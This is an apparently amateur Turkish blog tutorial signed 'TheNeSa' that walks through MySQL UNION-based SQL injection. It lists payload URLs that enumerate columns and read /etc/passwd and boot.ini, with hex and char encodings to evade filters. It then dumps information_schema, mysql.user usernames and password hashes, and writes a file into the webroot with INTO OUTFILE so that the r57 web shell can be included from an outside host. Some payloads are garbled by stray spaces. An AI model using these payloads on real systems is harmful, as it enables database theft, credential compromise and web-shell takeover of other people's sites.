Mysql İnjection:
önce kolon sayısını öğrenelim
thenesa.php?id=-1+order+by+xxx--
xx yerine 1,2,10 v.s sayı yazarak kolon öğreniyoruz
kolon sayımız 3 olsun
thenesa.php?id=-1+union+select+0,1,2--
bu şekle dönüştü.
kolonu sayısını bulduk
eğer kolonlar görünmüyosa id'yi -1 99999 -99999
v.s yani kullanılmayan id lerden bitane seçersek sonuç verçektir.
kolon sayılarını eşitledik.
şimdi Load_file ile dosya okuyalım.
eğer makina linux ise
thenesa.php?id=-1+union+select+0,1,
load_file(/etc/passwd)--
engel varsa hexleriz veya char kullanırız.
thenesa.php?=9999999 union select 0,1,
unhex(hex(/etc/passwd)—
thenesa.php?=9999999 union select 0,1,
char(47,101,116,99,47,112,97,115,115,119,100)—
char da benzer şekilde mantık ' vs engelli
karekterleri kullanmama yerine char hex v.s kullanma.
bu şekilde /etc/passwd okuyoruz.
eğer windovs ise
boot.ini‘yi okuyabiliriz
thenesa.php?id=-1+union+select+0,1,
load_file(c:/boot.ini)--
thenesa.php?id=-1+union+select+0,1,load_file
(0×633a2f626f6f742e696 e69)--
işte bu şekilde okuyorus burda config felan okuyabilirsiniz
veya ilerde göreceğimiz dosya uzantısı bulup rfi yiyen dosya
upload edebiliriz v.s geliştirmek size kalmış.
mysql Version'u bulalım.versiyon 4'lerde
tablo kolon tahmin edebilirsiniz.aynen acces gibi.
version 5'lerde tablo kolon çekebilirsiniz.
thenesa.php?id=-9999+union+select+0,1,@@version--
duruma göre hexleyin veya char felan işte..
versiyon 5 varsayalım .information_schema
tablo kolon çekelim.
önce dbleri çekelim
thenesa.php?id=-9999+union+select+0,1,schema_name
+from+information .schemata+limit1,1--
limit 1,1 limit 2.1 v.s yaparak diğer veritablarını alırız.
thenesa.php?id=-9999+union+select+0,1,
group_concat(schema_name)+fr om+information.schemata--
Group ile hepsini alırıs.
şimdi tablo adlarını alalım.
thenesa.php?id=--9999+union+select+0,1,table_name
+from+INFORMATION_ SCHEMA.TABLES+where+
table_schema=’dbadi’+limit 1,1--
limit 1,1 limit 2.1 v.s yaparak diğer tabloları alırız. .
thenesa.php?id=--9999+union+select+0,1,
group_concat(table_name)+fro m+I
NFORMATION_SCHEMA.TABLES+where+
table_schema=’db adi’--
Group ile hepsini alırıs.
kolon adlarınıda alalım.
thenesa.php?id=-9999+union+select+0,1,
COLUMN_NAME+from+INFORMATION _SCHEMA.
COLUMNS+where+table_name=
'tabloadi'+limit+ 1,1--
limit 1,1 limit 2.1 v.s yaparak diğer columnları alırız.
thenesa.php?id=-9999+union+select+0,1,
group_concat(COLUMN_NAME)+fr om+I
NFORMATION_SCHEMA.COLUMNS
+where+table_name='ta bloadi'--
Group ile hepsini alırıs.
mysql kullanıcı adi ve şifre alalım.
thenesa.php?id=-9999+union+select+
user,password+from+mysql.user--
burdan mysql bağlanabilirsiniz..
into outfile ile rfi açalım.
into outfile ile rfi(Remote File İnclusion) açığı oluşturabiliriz.
tabi önce sitein dosya yolunu bulcaz.Onu load_file kullanarak bulabilirsiniz.
bulduk diyelim.
home/nesa/public_html/
yazılabilir bi yere uygulayalım.
thenesa.php?id=-9999+union+select+
''+into+outfile+'/home/nesa/public_html
/images/nesa.php'--
site thenesa.com olsun mesela
thenesa.com/images/nesa.php?nesa=
http://thenesa.by.ru/r57.txt?
Tamamen TheNeSa Tarafından Düzenlenmiştir.
iletişim: msn@thenesa.com - thenesa.blogspot.com
by TheNeSa
Hiç yorum yok:
Yorum Gönder